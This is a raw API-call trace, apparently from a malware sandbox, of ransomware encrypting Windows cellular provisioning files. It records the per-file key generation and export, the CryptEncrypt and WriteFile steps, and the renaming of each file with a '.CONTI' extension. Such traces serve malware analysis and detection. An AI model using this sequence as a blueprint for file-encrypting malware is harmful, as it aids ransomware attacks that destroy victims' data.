	[0107.956] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\16__connections_cellular_optus (australia)_i7$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\16__connections_cellular_optus (australia)_i7$(__mvid)@wap.provxml.conti")) returned 1
	[0107.957] GetProcessHeap () returned 0x1720000
	[0107.957] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.957] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0107.957] GetProcessHeap () returned 0x1720000
	[0107.957] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588808 | out: hHeap=0x1720000) returned 1
	[0107.957] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0107.957] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17c4108 | out: phKey=0x17c4108*=0x17c8330) returned 1
	[0107.957] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c410c, pdwDataLen=0x4d3fec4 | out: pbData=0x17c410c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0107.958] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\170__connections_cellular_claro (honduras)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.958] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\170__connections_cellular_claro (honduras)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.958] GetLastError () returned 0x0
	[0107.959] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=702) returned 1
	[0107.959] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2be
	[0107.959] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.959] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.959] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.959] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.959] WriteFile (in: hFile=0x3c4, lpBuffer=0x17c410c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17c410c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.966] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.966] ReadFile (in: hFile=0x3c4, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2be, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2be, lpOverlapped=0x0) returned 1
	[0107.966] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2be, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2c0) returned 1
	[0107.966] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.966] WriteFile (in: hFile=0x3c4, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2c0, lpOverlapped=0x0) returned 1
	[0107.966] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.966] WriteFile (in: hFile=0x3c4, lpBuffer=0x17c4100*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17c4100*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0107.966] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.966] CloseHandle (hObject=0x3c4) returned 1
	[0107.966] GetProcessHeap () returned 0x1720000
	[0107.966] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.966] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml"
	[0107.966] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.966] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\170__connections_cellular_claro (honduras)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\170__connections_cellular_claro (honduras)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.967] GetProcessHeap () returned 0x1720000
	[0107.967] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.967] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0107.967] GetProcessHeap () returned 0x1720000
	[0107.967] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65882e8 | out: hHeap=0x1720000) returned 1
	[0107.967] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0107.967] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17c4a28 | out: phKey=0x17c4a28*=0x17c8330) returned 1
	[0107.967] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4a2c, pdwDataLen=0x4d3fec4 | out: pbData=0x17c4a2c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0107.968] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\171__connections_cellular_claro (honduras)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0107.975] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\171__connections_cellular_claro (honduras)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.975] GetLastError () returned 0x0
	[0107.975] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=717) returned 1
	[0107.975] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cd
	[0107.975] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.975] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.975] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.975] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.975] WriteFile (in: hFile=0x3c4, lpBuffer=0x17c4a2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17c4a2c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.977] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.977] ReadFile (in: hFile=0x3c4, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2cd, lpOverlapped=0x0) returned 1
	[0107.977] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2cd, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2d0) returned 1
	[0107.977] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.977] WriteFile (in: hFile=0x3c4, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.977] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.977] WriteFile (in: hFile=0x3c4, lpBuffer=0x17c4a20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17c4a20*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0107.978] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.978] CloseHandle (hObject=0x3c4) returned 1
	[0107.978] GetProcessHeap () returned 0x1720000
	[0107.978] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.978] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml"
	[0107.978] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.CONTI"
	[0107.978] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\171__connections_cellular_claro (honduras)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\171__connections_cellular_claro (honduras)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0107.978] GetProcessHeap () returned 0x1720000
	[0107.978] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.978] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0107.978] GetProcessHeap () returned 0x1720000
	[0107.978] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6589768 | out: hHeap=0x1720000) returned 1
	[0107.978] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0108.384] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17c4350 | out: phKey=0x17c4350*=0x17c7db0) returned 1
	[0108.467] CryptExportKey (in: hKey=0x17c7db0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4354, pdwDataLen=0x4d3fec4 | out: pbData=0x17c4354*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0108.469] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\197__connections_cellular_telkomsel (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.487] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\197__connections_cellular_telkomsel (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0108.487] GetLastError () returned 0x0
	[0108.487] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=721) returned 1
	[0108.487] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d1
	[0108.487] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.487] SetEndOfFile (hFile=0x2f4) returned 1
	[0108.491] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.491] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.491] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c4354*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17c4354*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0108.501] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.501] ReadFile (in: hFile=0x2f4, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2d1, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2d1, lpOverlapped=0x0) returned 1
	[0108.501] CryptEncrypt (in: hKey=0x17c7db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2d1, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2e0) returned 1
	[0108.501] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.501] WriteFile (in: hFile=0x2f4, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2e0, lpOverlapped=0x0) returned 1
	[0108.501] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.501] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c4348*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17c4348*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0108.501] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.502] CloseHandle (hObject=0x2f4) returned 1
	[0108.502] GetProcessHeap () returned 0x1720000
	[0108.502] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b44050
	[0108.502] lstrcpyW (in: lpString1=0x6b44050, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml"
	[0108.502] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.502] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\197__connections_cellular_telkomsel (indonesia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\197__connections_cellular_telkomsel (indonesia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.502] GetProcessHeap () returned 0x1720000
	[0108.502] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b44050 | out: hHeap=0x1720000) returned 1
	[0108.502] CryptDestroyKey (hKey=0x17c7db0) returned 1
	[0108.502] GetProcessHeap () returned 0x1720000
	[0108.502] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0bb0 | out: hHeap=0x1720000) returned 1
	[0108.503] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0108.503] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17c4598 | out: phKey=0x17c4598*=0x17c76f0) returned 1
	[0108.503] CryptExportKey (in: hKey=0x17c76f0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c459c, pdwDataLen=0x4d3fec4 | out: pbData=0x17c459c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0108.503] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\199__connections_cellular_vodafone (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.504] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\199__connections_cellular_vodafone (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0108.504] GetLastError () returned 0x0
	[0108.504] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=716) returned 1
	[0108.504] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0108.504] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.504] SetEndOfFile (hFile=0x2f4) returned 1
	[0108.504] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.504] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.504] WriteFile (in: hFile=0x2f4, lpBuffer=0x17c459c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17c459c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0108.513] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.513] ReadFile (in: hFile=0x2f4, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2cc, lpOverlapped=0x0) returned 1
